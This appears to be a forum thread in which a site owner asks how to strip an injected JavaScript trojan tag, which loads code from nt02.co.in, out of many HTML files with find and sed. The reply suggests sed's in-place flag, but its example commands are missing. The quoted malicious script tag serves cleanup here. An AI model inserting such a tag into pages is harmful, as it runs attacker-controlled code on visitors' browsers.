Hi I’m trying to clean a site from a js-trojan for a customer, it has added:
<script src='http://nt02.co.in/3'></script> to all html-pages.
Since it’s too many files to manually clean I tried to a do find like this:
find ./ -type f -exec sed -e "s\<script src='http://nt02.co.in/3'></script>\ \g" {} > {} \;
Problem is you’re not allowed to output to the input with sed.
So I tried to do something like:
find ./ -type f ! -iname "*.new" -exec sed -e "s\<script src='http://nt02.co.in/3'></script>\ \g" {} > {}.new \;
didn’t work either, it outputs a file named “{}.new”…
Any tips on how to do this correct? Or another solution on how to clean this?
I think you are making things more complicated than they need to be. In particular, you want to use the -i flag, which allows you to edit the file in place like you want.
You may want something like
or use a script if you feel more comfortable, something like
See http://www.cyberciti.biz/faq/unix-linux-replace-string-words-in-many-files/